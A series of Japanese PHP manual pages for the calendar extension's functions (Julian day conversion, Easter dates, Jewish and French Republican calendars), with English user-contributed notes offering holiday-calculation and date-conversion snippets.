
cal_from_jd

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

cal_from_jd — ユリウス積算日からサポートされるカレンダーに変換する

説明

cal_from_jd ( int $julian_day , int $calendar ) : array

cal_from_jd() は、 julian_day で指定したユリウス日を 指定した calendar に変換します。 サポートされる calendar の値は、 CAL_GREGORIAN、 CAL_JULIAN、 CAL_JEWISH および CAL_FRENCH です。

パラメータ

julian_day

ユリウス日を表す整数値。

calendar

変換するカレンダー。

返り値

カレンダーの情報を含む配列を返します。この配列には、 年、月、日、週(dow)、曜日名、月名、"月/日/年" 形式の文字列 などが含まれます。 曜日は 0 (日曜日) から 6 (土曜日) までの値を取ります。

例

例1 cal_from_jd() の例

<?php
$today = unixtojd(mktime(0, 0, 0, 8, 16, 2003));
print_r(cal_from_jd($today, CAL_GREGORIAN));
?>

上の例の出力は以下となります。

Array
(
    [date] => 8/16/2003
    [month] => 8
    [day] => 16
    [year] => 2003
    [dow] => 6
    [abbrevdayname] => Sat
    [dayname] => Saturday
    [abbrevmonth] => Aug
    [monthname] => August
)

参考

  • cal_to_jd() - サポートされるカレンダーからユリウス積算日に変換する
  • jdtofrench() - ユリウス積算日をフランス革命暦(共和暦)に変換する
  • jdtogregorian() - ユリウス積算日をグレゴリウス日に変換する
  • jdtojewish() - ユリウス積算日をユダヤ暦に変換する
  • jdtojulian() - ユリウス積算日をユリウス暦に変換する
  • jdtounix() - ユリウス歴を Unix タイムスタンプに変換する

User Contributed Notes

There are no user contributed notes for this page.


特定のカレンダーに関する情報を返す

  • ≪ cal_from_jd
  • cal_to_jd ≫
  • PHP Manual
  • カレンダー 関数
  • 特定のカレンダーに関する情報を返す

cal_info

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

cal_info — 特定のカレンダーに関する情報を返す

説明

cal_info ( int $calendar = -1 ) : array

cal_info() は、指定した calendar についての情報を返します。

カレンダーの情報は配列として返され、その要素は calname、calsymbol、 month、abbrevmonth および maxdaysinmonth となります。 calendar として指定可能なカレンダー名は以下のとおりです。

  • 0 あるいは CAL_GREGORIAN - グレゴリウス暦
  • 1 あるいは CAL_JULIAN - ユリウス暦
  • 2 あるいは CAL_JEWISH - ユダヤ暦
  • 3 あるいは CAL_FRENCH - フランス革命暦

calendar が指定されなかった場合は、 サポートするすべてのカレンダーの情報を配列で返します。

パラメータ

calendar

情報を返したいカレンダー。指定しなかった場合は、 すべてのカレンダーに関する情報を返します。

返り値

例

例1 cal_info() の例

<?php
$info = cal_info(0);
print_r($info);
?>

上の例の出力は以下となります。

Array
(
    [months] => Array
        (
            [1] => January
            [2] => February
            [3] => March
            [4] => April
            [5] => May
            [6] => June
            [7] => July
            [8] => August
            [9] => September
            [10] => October
            [11] => November
            [12] => December
        )

    [abbrevmonths] => Array
        (
            [1] => Jan
            [2] => Feb
            [3] => Mar
            [4] => Apr
            [5] => May
            [6] => Jun
            [7] => Jul
            [8] => Aug
            [9] => Sep
            [10] => Oct
            [11] => Nov
            [12] => Dec
        )

    [maxdaysinmonth] => 31
    [calname] => Gregorian
    [calsymbol] => CAL_GREGORIAN
)

User Contributed Notes

There are no user contributed notes for this page.


サポートされるカレンダーからユリウス積算日に変換する

  • ≪ cal_info
  • easter_date ≫
  • PHP Manual
  • カレンダー 関数
  • サポートされるカレンダーからユリウス積算日に変換する

cal_to_jd

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

cal_to_jd — サポートされるカレンダーからユリウス積算日に変換する

説明

cal_to_jd ( int $calendar , int $month , int $day , int $year ) : int

cal_to_jd() は、指定した calendar の日付からユリウス積算日を計算します。 サポートされる calendar は CAL_GREGORIAN、 CAL_JULIAN、 CAL_JEWISH および CAL_FRENCH です。

パラメータ

calendar

変換元のカレンダー。 CAL_GREGORIAN、 CAL_JULIAN、 CAL_JEWISH あるいは CAL_FRENCH のいずれか。

month

月を表す数値。有効な範囲は calendar に依存します。

day

日を表す数値。有効な範囲は calendar に依存します。

year

年を表す数値。有効な範囲は calendar に依存します。

返り値

ユリウス積算日を返します。

参考

  • cal_from_jd() - ユリウス積算日からサポートされるカレンダーに変換する
  • frenchtojd() - フランス革命暦をユリウス積算日に変換する
  • gregoriantojd() - グレゴリウス日をユリウス積算日に変換する
  • jewishtojd() - ユダヤ暦の日付けをユリウス積算日に変換する
  • juliantojd() - ユリウス暦をユリウス積算日に変換する
  • unixtojd() - Unix タイムスタンプをユリウス歴に変換する

User Contributed Notes

ashton at ieee dot org 18-Sep-2016 07:48
The earliest supported date in the Julian calendar is January 2, 4713 BC. The corresponding Julian day count is 1. PHP treats -4713 as equal to 4713 BC, and does not allow the year 0; this practice is different than the custom of astronomers, who treat -4712 as equal to 4713 BC.
ashton at ieee dot org 18-Sep-2016 07:46
Julian days begin at noon, while the days of the Gregorian and Julian calendars are usually thought of as beginning at midnight. For the Gregorian and Julian calendars, the function behaves as if the conversion were performed at noon.


指定した年における復活祭の真夜中のUnix時を得る

  • ≪ cal_to_jd
  • easter_days ≫
  • PHP Manual
  • カレンダー 関数
  • 指定した年における復活祭の真夜中のUnix時を得る

easter_date

(PHP 4, PHP 5, PHP 7, PHP 8)

easter_date — 指定した年における復活祭の真夜中のUnix時を得る

説明

easter_date ( int|null $year = null , int $mode = CAL_EASTER_DEFAULT ) : int

指定した年yearにおける復活祭の真夜中のUnix時を返します。

警告

この関数は、年がUnixタイムスタンプの範囲を越える時 (すなわち、32bitシステムでは通常1970より前、または2037より後)に警告を発生させます。

復活祭の日付は、西暦325年の Nicaea 会議で春分の日の後の 最初の満月の後の日曜日として定められました。 満月とその次の日曜日の日付の計算を簡単にするために 春分の日は常に3月21日になるとして計算されます。 ここで用いるアルゴリズムは、532年頃、Dionysius Exiguus により 導出されたものです。(1753年より前の年に関して)ユリウス暦の元では 月の周期を追うために簡単な19年周期が用いられます。グレゴリウス暦 (1753年以降。この暦は、ClaviusとLiliusにより考案され、 教皇グレゴリウス13世により1582年10月に導入、イギリス及びその植民地に 1752年9月に導入された。) のもとで、二つの補正係数が周期をより正確に作成するために追加されました。

パラメータ

year

1970 から 2037 までの年。省略した場合、もしくは null の場合は、 ローカルタイムにおける現在の年を使います。

mode

CAL_EASTER_ALWAYS_JULIAN を設定すると、 ユリウス暦のカレンダをベースにして復活祭の日付が計算できます。 calendar の定数 を参照してください。

返り値

復活祭の日を Unix タイムスタンプで返します。

変更履歴

バージョン | 説明
8.0.0 | year は、nullable になりました。

例

例1 easter_date() の例

<?php

echo date("M-d-Y", easter_date(1999));        // Apr-04-1999
echo date("M-d-Y", easter_date(2000));        // Apr-23-2000
echo date("M-d-Y", easter_date(2001));        // Apr-15-2001

?>

注意

注意:

easter_date() は、システムの C ライブラリの関数を利用します。 PHP 組み込みの日付・時刻関数を使うわけではなりません。 つまり、easter_date() が利用するタイムゾーンは環境変数 TZ の値であり、PHP の デフォルトのタイムゾーンは考慮しません。 その結果、PHP の他の日付関数と組み合わせて使ったときに予期せぬ結果になる可能性があります。

回避策として、easter_days() を DateTime や DateInterval と組み合わせて使えば、PHP で設定したタイムゾーンにおける復活祭の開始時刻を算出できます。

<?php
function get_easter_datetime($year) {
    $base = new DateTime("$year-03-21");
    $days = easter_days($year);

    return $base->add(new DateInterval("P{$days}D"));
}

foreach (range(2012, 2015) as $year) {
    printf("Easter in %d is on %s\n",
           $year,
           get_easter_datetime($year)->format('F j'));
}
?>

上の例の出力は以下となります。

Easter in 2012 is on April 8
Easter in 2013 is on March 31
Easter in 2014 is on April 20
Easter in 2015 is on April 5

参考

  • 1970年以前または2037年以降の復活祭の計算に関しては、 easter_days() - 指定した年において、3 月 21 日から復活祭までの日数を得る を参照ください。

User Contributed Notes

Alexander Bliznyuk 23-Aug-2017 10:02
Thank you, @Maxie, for algorythm for computing Orthodox Easter date.
It can be improved though. You added 13 days in order to map Julian calendar to Gregorian.  But 13 days is not a constant. It's an accumulated error fixed in Gregorian and should be calculated with this formula: (int)($year / 100) - (int)($year / 400) - 2
adwil at live dot com 10-Apr-2014 03:01
Hey, recently I needed a function to get realization dates in online shop, so here it is (ready to go for polish users, please adjust your dates for any other country):

<?php
function getWorkday($date1,$workDays) {
        $workDays = (int)$workDays;
        if ($workDays <= 0)
            return null;

        $date1=strtotime('-1 day',strtotime($date1));

        $lastYear = null;
        $hol=array('01-01','01-06','05-01','05-03','08-15','11-01','11-11','12-25','12-26');  //array of month-date of static holidays (these are from Poland)
        $i = 0;
        while ($i<=$workDays) {
            $year = date('Y', $date1);
            if ($year !== $lastYear){
                $lastYear = $year;
                $easter = date('m-d', easter_date($year));
                $date = strtotime($year . '-' . $easter); // easter
                $easterSec = date('m-d', strtotime('+1 day', $date)); // easter monday
                $greens = date('m-d', strtotime('+49 days', $date)); // zielone swiatki
                $cc = date('m-d', strtotime('+60 days', $date)); // boze cialo
                $hol[] = $easter;
                $hol[] = $easterSec;
                $hol[] = $greens;
                $hol[] = $cc;
            }
            $weekDay=date('w',$date1);
            if (!($weekDay==0 || $weekDay==6 || in_array(date('m-d',$date1),$hol)))
                $i++;

            $date1=strtotime('+1 day',$date1);
        }
        return date('Y-m-d',$date1);
    }
?>
Guillaume Dufrene 30-Mar-2013 08:13
I found a problem with holidays timestamp computation and daylight saving time.
An article about it at http://goo.gl/76t31 (in french only, sorry).

In summary, this year (2013) easter begins before adding an hour for daylight saving time (occured sunday at 3:00). It means that if you do $easter + X, where x is a number of seconds equivalent to one day, 39 days or 50 days, the result is not equals to a midnight timestamp...

Here a function to check if a midnight timestamp is equals to an holiday :

function isHoliday( $ts ) {
// Licence : Creative Commons (BY)
// By Webpulser - http://goo.gl/76t31
  $fixed_holidays = array( '01-01′, '01-05′, '08-05′, '14-07′, '15-08′, '11-11′, '25-12′ );
  $format = 'd-m';

 $dm = date($format, $ts);
  if ( in_array($dm, $fixed_holidays) ) return true;

 $easter = easter_date( date('Y', $ts) );
  if ( date($format, $easter +   86400) == $dm ) return true;
  if ( date($format, $easter + 3369600) == $dm ) return true;
  if ( date($format, $easter + 4320000) == $dm ) return true;

 return false;
}

feel free to use / modify.
py dot lebecq at gmail dot com 11-Mar-2010 07:44
I recently had to write a function that allows me to know if today is a holiday.

And in France, we have some holidays which depends on the easter date. Maybe this will be helpful to someone.

Just modify in the $holidays array the actual holidays dates of your country.

<?php
/**
 * This function returns an array of timestamp corresponding to french holidays
 */
protected static function getHolidays($year = null)
{
  if ($year === null)
  {
    $year = intval(date('Y'));
  }

  $easterDate  = easter_date($year);
  $easterDay   = date('j', $easterDate);
  $easterMonth = date('n', $easterDate);
  $easterYear   = date('Y', $easterDate);

  $holidays = array(
    // These days have a fixed date
    mktime(0, 0, 0, 1,  1,  $year),  // 1er janvier
    mktime(0, 0, 0, 5,  1,  $year),  // Fete du travail
    mktime(0, 0, 0, 5,  8,  $year),  // Victoire des allies
    mktime(0, 0, 0, 7,  14, $year),  // Fete nationale
    mktime(0, 0, 0, 8,  15, $year),  // Assomption
    mktime(0, 0, 0, 11, 1,  $year),  // Toussaint
    mktime(0, 0, 0, 11, 11, $year),  // Armistice
    mktime(0, 0, 0, 12, 25, $year),  // Noel

    // These days have a date depending on easter
    mktime(0, 0, 0, $easterMonth, $easterDay + 2,  $easterYear),
    mktime(0, 0, 0, $easterMonth, $easterDay + 40, $easterYear),
    mktime(0, 0, 0, $easterMonth, $easterDay + 50, $easterYear),
  );

  sort($holidays);

  return $holidays;
}
?>
maxie 12-Jun-2008 01:36
To compute the correct Easter date for Eastern Orthodox Churches I made a function based on the Meeus Julian algorithm:

<?php
function orthodox_eastern($year) {
    $a = $year % 4;
    $b = $year % 7;
    $c = $year % 19;
    $d = (19 * $c + 15) % 30;
    $e = (2 * $a + 4 * $b - $d + 34) % 7;
    $month = floor(($d + $e + 114) / 31);
    $day = (($d + $e + 114) % 31) + 1;

    $de = mktime(0, 0, 0, $month, $day + 13, $year);

    return $de;
}
?>
phpuser 08-Nov-2004 08:17
The algorithm from Bigtree is correct if you add some (int) cast
<?php
   function easter_date ($Year) {

       /*
       G is the Golden Number-1
       H is 23-Epact (modulo 30)
       I is the number of days from 21 March to the Paschal full moon
       J is the weekday for the Paschal full moon (0=Sunday,
         1=Monday, etc.)
       L is the number of days from 21 March to the Sunday on or before
         the Paschal full moon (a number between -6 and 28)
       */

         $G = $Year % 19;
         $C = (int)($Year / 100);
         $H = (int)($C - (int)($C / 4) - (int)((8*$C+13) / 25) + 19*$G + 15) % 30;
         $I = (int)$H - (int)($H / 28)*(1 - (int)($H / 28)*(int)(29 / ($H + 1))*((int)(21 - $G) / 11));
         $J = ($Year + (int)($Year/4) + $I + 2 - $C + (int)($C/4)) % 7;
         $L = $I - $J;
         $m = 3 + (int)(($L + 40) / 44);
         $d = $L + 28 - 31 * ((int)($m / 4));
         $y = $Year;
         $E = mktime(0,0,0, $m, $d, $y);

         return $E;

   }
?>


指定した年において、3 月 21 日から復活祭までの日数を得る

  • ≪ easter_date
  • frenchtojd ≫
  • PHP Manual
  • カレンダー 関数
  • 指定した年において、3 月 21 日から復活祭までの日数を得る

easter_days

(PHP 4, PHP 5, PHP 7, PHP 8)

easter_days — 指定した年において、3 月 21 日から復活祭までの日数を得る

説明

easter_days ( int|null $year = null , int $mode = CAL_EASTER_DEFAULT ) : int

指定した年 year において、3 月 21 日から復活祭までの日数を返します。 year が指定されない場合、現在の年が仮定されます。

この関数は、Unix 時の範囲外(すなわち 1970 年以前または 2037 年以降)の復活祭を 計算するために easter_date() の代わりに使用することが できます。

復活祭の日付は、西暦 325 年の Nicaea の会議で春分の日以降の 最初の満月の後の日曜日として定義されました。 満月とその次の日曜日の日付の計算を簡単にするために 春分の日は常に 3 月 21 日になるとして計算されます。 ここで用いるアルゴリズムは、532 年頃に Dionysius Exiguus により 導出されたものです。(1753 年より前の年に関して)ユリウス暦のもとでは 月の周期を追うために簡単な 19 年周期が用いられます。グレゴリオ暦 (1753 年以降。この暦は Clavius と Lilius により考案され、 教皇グレゴリウス 13 世により 1582 年 10 月に導入、イギリス及びその植民地に 1752 年 9 月に導入された) のもとで、二つの補正係数が周期をより正確に作成するために追加されました。

パラメータ

year

正の数値で表した年。省略した場合、もしくは null の場合は、 ローカルタイムにおける現在の年を使います。

mode

CAL_EASTER_ROMAN に設定すると 1582 年から 1752 年までの復活祭の日付をグレゴリオ暦にもとづいて 計算します。それ以外に使用可能な定数については カレンダー定数を参照ください。

返り値

指定した年 year において、3 月 21 日から復活祭までの日数を返します。

変更履歴

バージョン | 説明
8.0.0 | year は、nullable になりました。

例

例1 easter_days() の例

<?php

echo easter_days(1999);        // 14, i.e. April 4
echo easter_days(1492);        // 32, i.e. April 22
echo easter_days(1913);        //  2, i.e. March 23

?>

参考

  • easter_date() - 指定した年における復活祭の真夜中のUnix時を得る

User Contributed Notes

p dot rijt at caesar dot nl 01-Jun-2015 03:20
This function returns an array of timestamp corresponding to Dutch National holidays. Liberation Day (Bevrijdingsdag) is added as a National holiday once every five years (2000, 2005, 2010, ...).

<?php
function getHolidays($year = null) {
    if ($year === null) {
        $year = intval(date('Y'));
    }

    $easterDate  = easter_date($year);
    $easterDay   = date('j', $easterDate);
    $easterMonth = date('n', $easterDate);
    $easterYear   = date('Y', $easterDate);

    $holidays = array(
        // Nieuwjaarsdag
        mktime(0, 0, 0, 1,  1,  $year),
        // 1e Kerstdag
        mktime(0, 0, 0, 12, 25, $year),
        // 2e Kerstdag
        mktime(0, 0, 0, 12, 26, $year)
    );

    // Bevrijdingsdag
    if (($year % 5) == 0) {
        $holidays[] = mktime(0, 0, 0, 5, 5, $year);
    }

    // Koninginnedag (< 2014) of Koningsdag (>= 2014).
    // Verplaats naar zaterdag als het valt op zondag.
    if ($year <= 2013) { // Koninginnedag <= 2013
        if (date('w', mktime(0, 0, 0, 4, 30, $year)) == 0) { // Op zondag?
            $holidays[] = mktime(0, 0, 0, 4, 29, $year);  // Verplaats naar zaterdag
        } else {
            $holidays[] = mktime(0, 0, 0, 4, 30, $year);  // Koninginnedag
        }
    } else { // Koningsdag > 2014
        if (date('w', mktime(0, 0, 0, 4, 27, $year)) == 0) { // Op zondag?
            $holidays[] = mktime(0, 0, 0, 4, 26, $year);  // Verplaats naar zaterdag
        } else {
            $holidays[] = mktime(0, 0, 0, 4, 27, $year);  // Koningsdag
        }
    }

    // Onderstaande dagen hebben een datum afhankelijk van Pasen
    // Goede Vrijdag (= pasen - 2)
    $holidays[] = strtotime('-2 days', mktime(0, 0, 0, $easterMonth, $easterDay,  $easterYear));
    // 1e Paasdag
    $holidays[] = mktime(0, 0, 0, $easterMonth, $easterDay,  $easterYear);
    // 2e Paasdag (= pasen +1)
    $holidays[] = strtotime('+1 days', mktime(0, 0, 0, $easterMonth, $easterDay,  $easterYear));
    // Hemelvaartsdag (= pasen + 39)
    $holidays[] = strtotime('+39 days', mktime(0, 0, 0, $easterMonth, $easterDay,  $easterYear));
    // 1e Pinksterdag (= pasen + 49)
    $holidays[] = strtotime('+49 days', mktime(0, 0, 0, $easterMonth, $easterDay,  $easterYear));
    // 2e Pinksterdag (= pasen + 50)
    $holidays[] = strtotime('+50 days', mktime(0, 0, 0, $easterMonth, $easterDay,  $easterYear));

    sort($holidays);

    return $holidays;
}

$holidays = getHolidays(2014);

foreach ($holidays as $holiday) {
    echo date('d-M-Y', $holiday) . '<br>';
}
?>
ian at eiloart dot com-NOSPAM 19-Nov-2001 11:43
Also, be aware that the eastern orthodox churches sometimes have different dates for easter. See, for example <http://webexhibits.org/calendars/calendar-christian-easter.html>. And note that the dates of easter a subject to change,  for example, the churches might some day decide to unify the dates.


フランス革命暦をユリウス積算日に変換する

  • ≪ easter_days
  • gregoriantojd ≫
  • PHP Manual
  • カレンダー 関数
  • フランス革命暦をユリウス積算日に変換する

frenchtojd

(PHP 4, PHP 5, PHP 7, PHP 8)

frenchtojd — フランス革命暦をユリウス積算日に変換する

説明

frenchtojd ( int $month , int $day , int $year ) : int

日付けをフランス革命暦からユリウス積算日に変換します。

これらのルーチンは、1から14年まで(グレゴリウス暦の1792年9月22日から 1806年9月22日)日付けのみを変換します。 この期間は、フランス革命暦が使用されていた期間を十分にカバーしています。

パラメータ

month

月を表す、1 (Vend??miaire) から 13 (各年の最後の 5-6 日) までの数字。

day

日を表す、1 から 30 までの数字。

year

年を表す、1 から 14 までの数字。

返り値

フランス革命暦の日付をユリウス積算日になおした結果を整数値で返します。

参考

  • jdtofrench() - ユリウス積算日をフランス革命暦(共和暦)に変換する
  • cal_to_jd() - サポートされるカレンダーからユリウス積算日に変換する

User Contributed Notes

There are no user contributed notes for this page.


グレゴリウス日をユリウス積算日に変換する

  • ≪ frenchtojd
  • jddayofweek ≫
  • PHP Manual
  • カレンダー 関数
  • グレゴリウス日をユリウス積算日に変換する

gregoriantojd

(PHP 4, PHP 5, PHP 7, PHP 8)

gregoriantojd — グレゴリウス日をユリウス積算日に変換する

説明

gregoriantojd ( int $month , int $day , int $year ) : int

有効なグレゴリウス暦の範囲は紀元前 4714 年 11月25日から、少なくとも紀元 9999 年 12月31日までです。

このソフトウェアは日付けを全て紀元前 4714 年にさかのぼることが 出来ますが、この様な使い方は特に意味があるわけではありません。 グレゴリウス暦は 1582 年 10 月 15 日(ユリウス暦では 1582 年 10 月 5 日)まで制定されていませんでした。 この暦は、いくつかの国でもっと後まで受け入れられませんでした。 例えば、イギリスは 1752 年、ロシア(USSR)は 1918 年、ギリシャは 1923 年に 移行しました。 ほとんどのヨーロッパの国々では、グレゴリウス暦の前は ユリウス暦を使用していました。

パラメータ

month

月を表す、1 (January) から 12 (December) までの数字。 月の最後の日が与えられた日より少ない場合、オーバーフローが発生します; 例を参照してください。

day

日を表す、1 から 31 までの数字。

year

年を表す、-4714 から 9999 までの数字。 負の値は B.C を意味し、正の値は A.D を意味しています。 0 という年はないことに注意してください。 つまり、B.C 元年の12月31日の次は、A.D 元年の1月1日です。

返り値

指定したグレゴリウス日をユリウス積算日になおした結果を返します。 範囲外の日付については 0 を返します。

例

例1 カレンダー関数

<?php
$jd = gregoriantojd(10, 11, 1970);
echo "$jd\n";
$gregorian = jdtogregorian($jd);
echo "$gregorian\n";
?>

上の例の出力は以下となります。

2440871
10/11/1970

例2 Overflow behavior

<?php
echo gregoriantojd(2, 31, 2018), PHP_EOL,
     gregoriantojd(3,  3, 2018), PHP_EOL;
?>

上の例の出力は以下となります。

2458181
2458181

参考

  • jdtogregorian() - ユリウス積算日をグレゴリウス日に変換する
  • cal_to_jd() - サポートされるカレンダーからユリウス積算日に変換する

User Contributed Notes

jfg 07-Apr-2009 01:19
If you need the same output as the g_date_get_julian function of the GlibC, here is my php implementation :

<?php
    /**
     * Glib g_date_get_julian PHP implementation
     *
     * @param  $str  Date string in a format accepted by strtotime
     * @author jfg
     */
    private function _get_julian( $str )
    {
        $d = date_create($str);

        if( $d == false )
            return 0;

        $day_in_year = (int) date_format($d, "z");
        $year        = (int) date_format($d, "Y") - 1;
        $julian_days = $year * 365;
        $julian_days += ($year >>= 2);
        $julian_days -= ($year /= 25);
        $julian_days += $year >> 2;
        $julian_days += $day_in_year + 1;

        return ceil($julian_days);
    }

?>
jettyrat at jettyfishing dot com 17-Mar-2005 01:34
You can obtain the decimal fraction of the Julian date with the php gregoriantojd() function or the function shown below by applying this code to the returned value.

<?php
  $julianDate = gregoriantojd($month, $day, $year);

  //correct for half-day offset
  $dayfrac = date('G') / 24 - .5;
  if ($dayfrac < 0) $dayfrac += 1;

  //now set the fraction of a day
  $frac = $dayfrac + (date('i') + date('s') / 60) / 60 / 24;

  $julianDate = $julianDate + $frac;
?>
httpwebwitch 08-Jun-2004 04:04
This function also ignores decimal fractions in JD dates, and it uses non-standard format for returning the Gregorian date.

So, if your JD date is 2453056.28673, the Gregorian returned value is 2/20/2004, not "2004-02-20 23:45:36"

The decimal part is important, since the Julian day begins at noon, for example 2453056.49 is on Friday, 2453056.50 is on Saturday. Discarding the decimal part means that your returned Gregorian Date will be wrong 50% of the time.


曜日を返す

  • ≪ gregoriantojd
  • jdmonthname ≫
  • PHP Manual
  • カレンダー 関数
  • 曜日を返す

jddayofweek

(PHP 4, PHP 5, PHP 7, PHP 8)

jddayofweek — 曜日を返す

説明

jddayofweek ( int $julian_day , int $mode = CAL_DOW_DAYNO ) : int|string

曜日を返します。 モードに依存した文字あるいは整数を返す事が出来ます。

パラメータ

julian_day

ユリウス積算日を表す整数値。

mode
暦の曜日モード
モード | 意味
0 (デフォルト) | 整数で曜日番号 (0=Sunday, 1=Monday, 等)を返します。
1 | 曜日(英グレゴリウス)を含む文字列を返します。
2 | 曜日の省略形(英グレゴリウス)を含む文字列を返します。

返り値

グレゴリウス暦の曜日を表す数値あるいは文字列を返します。

User Contributed Notes

phimuskapsi at gmail dot com 24-Aug-2020 07:16
When using mode 1 or 2, the number returned will NOT match mode 0.

jddayofweek(0, 1) = 'Monday' not 'Sunday' as expected.

This can cause discordance between the UI and the value saved.
kevind at communitycolor dot com 03-Mar-2017 08:24
You need to check to see how your client wants to represent the day of week. This function returns 0 for Sundays. ISO 8601 uses 7 for Sundays.

BTW, You can also calculate the day of week with modular division:

$dow = (1 + $julianday) % 7; // returns 0 for Sundays.
$dow = ($julianday % 7) + 1; // returns 7 for Sundays.

https://en.wikipedia.org/wiki/Julian_day#Finding_day_of_week_given_Julian_day_number

To make matters confusing. The Julian Date starts at noon UTC. Some programs such as SQLITE3 use real numbers to record date and time. If you pass this function a float; it will return a different day of week for the morning than for the afternoon.

When given a julianday with a decimal part you will need to add a half day and may need further adjustment for your timezone.


月の名前を返す

  • ≪ jddayofweek
  • jdtofrench ≫
  • PHP Manual
  • カレンダー 関数
  • 月の名前を返す

jdmonthname

(PHP 4, PHP 5, PHP 7, PHP 8)

jdmonthname — 月の名前を返す

説明

jdmonthname ( int $julian_day , int $mode ) : string

月の名前を含んだ文字列を返します。 modeはユリウス積算日をどの暦に変換するか、 どんなタイプの月名を返すかを関数に伝えます。

暦モード
モード | 意味 | 値
CAL_MONTH_GREGORIAN_SHORT | グレゴリウス暦 - 省略形 | Jan, Feb, Mar, Apr, May, Jun, Jul, Aug, Sep, Oct, Nov, Dec
CAL_MONTH_GREGORIAN_LONG | グレゴリウス暦 | January, February, March, April, May, June, July, August, September, October, November, December
CAL_MONTH_JULIAN_SHORT | ユリウス暦 - 省略形 | Jan, Feb, Mar, Apr, May, Jun, Jul, Aug, Sep, Oct, Nov, Dec
CAL_MONTH_JULIAN_LONG | ユリウス暦 | January, February, March, April, May, June, July, August, September, October, November, December
CAL_MONTH_JEWISH | ユダヤ暦 | Tishri, Heshvan, Kislev, Tevet, Shevat, AdarI, AdarII, Nisan, Iyyar, Sivan, Tammuz, Av, Elul
CAL_MONTH_FRENCH | フランス革命暦 | Vendemiaire, Brumaire, Frimaire, Nivose, Pluviose, Ventose, Germinal, Floreal, Prairial, Messidor, Thermidor, Fructidor, Extra

パラメータ

jday

変換したいユリウス積算日。

mode

カレンダーのモード(上の表を参照)

返り値

指定したユリウス積算日と mode にもとづく月名を返します。

User Contributed Notes

marc at linkitdesign dot com 15-Jun-2013 01:58
Regarding the jewish date system. It may be worth noting the following peculiarities, some obvious some not so.
1. Jewish days start at sunset NOT midnight so when converting from a Gregorian date to a Jewish one it might be worth asking if the date/time occurred 'after sunset'.
2. Jewish leap years follow a 19 year cycle which can be calculated like this:
function isJLeapYear($JYear) {
    if ( ((7 * $JYear + 1) % 19) < 7 )
        return true;
    else
        return false;
}
3. During a leap year a new leap-month called "Adar I" is inserted BEFORE the normal month of Adar.
4. During leap years, Adar is renamed "Adar II".
5. Adar/Adar II has 29 days
6. Adar I has 30 days
7. Cheshvan & Kislev have between 29 & 30 Days
8. Leap years have between 383 and 385 days.
8. non-leap years have between 353 and 355 days.
9 . In a 354-day year, months have alternating 30 and 29 day lengths.
10. In a 353-day year, the month of Kislev is reduced to 29 days.
11. In a 355-day year, the month of Cheshvan is increased to 30 days.
12. Leap years years follow the same pattern, with the addition of the 30-day Adar I as well.


ユリウス積算日をフランス革命暦(共和暦)に変換する

  • ≪ jdmonthname
  • jdtogregorian ≫
  • PHP Manual
  • カレンダー 関数
  • ユリウス積算日をフランス革命暦(共和暦)に変換する

jdtofrench

(PHP 4, PHP 5, PHP 7, PHP 8)

jdtofrench — ユリウス積算日をフランス革命暦(共和暦)に変換する

説明

jdtofrench ( int $julian_day ) : string

ユリウス積算日をフランス革命暦に変換します。

パラメータ

julianday

ユリウス積算日を表す整数値。

返り値

フランス革命暦の日付を "月/日/年" 形式の文字列で返します。

参考

  • frenchtojd() - フランス革命暦をユリウス積算日に変換する
  • cal_from_jd() - ユリウス積算日からサポートされるカレンダーに変換する

User Contributed Notes

popy-dev 06-Mar-2018 10:45
Also note that there are few date converters handling French calendar outside the jdtofrench covered range.
pieterc dot depraetere at ugent dot be 10-Mar-2010 02:04
If you want to convert a date later than September 22nd 1806, you could use this function. It's a bit crude and due to the fact the original function terminates in the middle of 1806, it uses 1805 as it's 'terminus post quem'.
<?php
function extended_jdtofrench ($juliandate) {
    if ($juliandate > 2380945) {
        // jdtofrench () only accepts dates until september 1806
        $gregorian_date = jdtogregorian ($juliandate);
        $temp = explode ('/', $gregorian_date);
        $year = $temp[2];
        $juliandate = gregoriantojd ($temp[0], $temp[1], 1805);
        $republican_date = jdtofrench ($juliandate);
        $republican_date = explode ('/', $republican_date);
        $diff = $year - 1805;
        $republican_date[2] = $republican_date[2] + $diff;
    } else {
        $republican_date = jdtofrench ($juliandate);
    }
    return $republican_date;
}
?>
squenz at titania dot bottoms-dream dot de 06-Apr-2006 08:25
Here is a small piece of code to obtain the string data for a correctly converted gregorian date:

<?php
$arDateFrench = gregorian2FrenchDateArray(11, 9, 1799) ;

echo $arDateFrench[1] . " " . $arDateFrench[0] . " " . $arDateFrench[2] ;

/* the output will be:
    18 Brumaire VIII

*/

function gregorian2FrenchDateArray($m, $d, $y)
{

    $julian_date = gregoriantojd($m, $d, $y);
    $french = jdtofrench($julian_date);
    if($french == "0/0/0")
        return "" ;

    $arD = split("/", $french) ;

    // get the month name
    $monthname = FrenchMonthNames($arD[0]) ;

    /* convert the year number to roman digits (as most historians do and documents of the time did */
    $stryear = decrom($arD[2]) ;
    return array($monthname, $arD[1], $stryear ) ;
}

function FrenchMonthNames($mo)
{
    /* The names have been invented by Fabre d'Eglantine, a second or rather third rank poet
of primarily pastoral poems, with each name referring to the respective period in the agricultural year; e.g. "Vendemiaire" (approx. September) is derived from "vendange" ("harvest"), "Brumaire" (Ocotober/November) from "brume" ("fog") and so on ...     */

    $arMo = array("Vendemiaire",
                      "Brumaire",
                      "Frimaire",
                      "Nivose",
                      "Pluviose",
                      "Ventose",
                      "Germinal",
                      "Floreal",
                      "Prairial",
                      "Messidor",
                      "Thermidor",
                      "Fructidor",
                      "Sansculottide") ;

    if($mo < count($arMo)+1)
        return $arMo[$mo-1] ;

}

function decrom($dec){
       $digits=array(
           1 => "I",
           4 => "IV",
           5 => "V",
           9 => "IX",
           10 => "X",
           40 => "XL",
           50 => "L",
           90 => "XC",
           100 => "C",
           400 => "CD",
           500 => "D",
           900 => "CM",
           1000 => "M"
       );
       krsort($digits);
       $retval="";
       foreach($digits as $key => $value){
           while($dec>=$key){
               $dec-=$key;
               $retval.=$value;
           }
       }
       return $retval;
}
?>
serged at noos dot fr 28-Oct-2003 09:00
Very limited function:

(extract from source of 4.3.3)
These routines only convert dates in years 1 through 14 (Gregorian dates 22 September 1792 through 22 September 1806).  This more than  covers the period when the calendar was in use.

Pour les fran?ais :
Ces routines ne converitssent les dates que de l'an 1 ? 14 (du 22 septembre 1792 au 22 septembre 1806). Cela couvre plus que la p?riode pendant laquelle le calendrier ? ?t? utilis?.


